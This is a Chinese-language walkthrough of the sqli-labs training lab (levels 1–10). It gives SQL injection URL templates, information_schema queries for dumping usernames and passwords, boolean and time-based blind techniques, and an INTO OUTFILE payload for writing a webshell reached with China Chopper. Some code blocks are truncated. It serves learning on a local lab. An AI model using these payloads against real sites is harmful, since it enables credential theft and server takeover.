[学习链接]:https://www.bilibili.com/video/av66072415
MySQL简单基本用法
1 | 常用的几个函数: |
假定:数据库名-security,表名-users
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema=’security’
查列:select column_name from information_schema.columns where table_name=’users’
查字段: select username,password from security.users
Less-01
构造payload: http://127.0.0.1/sqli/Less-1/?id=1
得到 name:Dumb, password:Dumb
—— 当然,可以改变后面id的值,会得到不同的name和password
1 | 1. # 其中limit后面的第一位(0)表示从第几个开始,第二位表示显示多少个数据(1) |
步骤总结:
查看是否有注入
查看有多少列
查看哪些数据可以回显
查看当前数据库
查看所有的数据库
查看所有的表
查看所有的字段
得到所有的账号和密码
Less-02
id=1’时报错,则存在sql注入,此时发现引号是多余的。
模版为 http://127.0.0.1/sqli/Less-2/?id=-1(此为要构造的)--+
按照步骤得到正确答案。
Less-03
id=1’时报错,存在sql注入,此时发现引号、右括号是多余的
模板为 http://127.0.0.1/sqli/Less-3/?id=1') (此为要构造的) –+
按照步骤得到正确答案
Less-04
id=1”时报错,存在sql注入,此时发现引号、右括号是多余的
模板为 http://127.0.0.1/sqli/Less-4?id=1") (此为要构造的) –+
按照步骤得到正确答案
Less-05
难度正式加大了。
基础知识补充:
1 | 1. left()函数 —— left(a,b)从左侧截取a的前b位,正确返回1,错误返回0 |
当id=1时,显示 You are in……;当id值大于12时,没有任何的显示。这就是典型的 布尔盲注
布尔盲注:一般是在网页没有报错、回显的时候使用。只能对url输入的判断一个对错,一般只能判断一个英文字符。
id=1’时报错,存在sql注入。可以知道正确的情况下会显示 You are in……按照之前的步骤可以判断此为3列,接下来判断数据库名之类的就要用到上面的补充知识了。
1 | 1. # 求当前数据库名的长度 |
Less-06
id=1” 时报错,存在sql注入
模板为 http://127.0.0.1/sqli/Less-3/?id=1" (此为要构造的) –+
按照第五关步骤得到正确答案
Less-07
基础知识补充:
1 | 1. show variables like '%secure%';查看secure-file-priv当前的值,如果显示为NULL,则需要打开C:\phpstudy\PHPTutorial\MySQL\my.ini文件,在其中加上一句:secure-file-priv="/" |
- 当 id=1 时,显示 You are in…… Use outfile……;直接加单引号 id=1’,显示 You have an error in your SQL syntax, 则存在SQL注入
- 注入模版为 http://127.0.0.1/sqli/Less-7/?id=1‘)) (要构造的)–+
- 根据提示,会用到outfile函数,可以构造payload: http://127.0.0.1/sqli/Less-7/?id=1')) union select 1,2,’‘ into outfile ‘C:\phpStudy\PHPTutorial\WWW\sqli\Less-7\test1.php’–+
- 访问 http://127.0.0.1/sqli/Less-7/test1.php,显示 1 Dumb Dumb 1 2
- 写入了一句话木马后,用中国菜刀访问,此时hacker为密码,成功拿到网站的webshell
Less-08
id=1’时 You are in……消失,则存在sql注入。
模版为 http://127.0.0.1/sqli/Less-2/?id=1'(此为要构造的)--+
按照第5关的步骤得到正确答案。
Less-09
基础知识补充:
1 | 1. if(condition,A,B) —— 如果条件condition为true,则执行语句A,否则执行B |
Less-10
http://127.0.0.1/sqli/Less-10/?id=1" and sleep(5)–+ 只是将less-9中的单引号换成了双引号,其余均相同。
注意:一般情况下,测试有六种方法:
- ‘ 单引号
- ‘) 单引号、括号
- ‘)) 单引号、双括号
- “ 双引号
- “) 双引号、括号
- “)) 双引号、双括号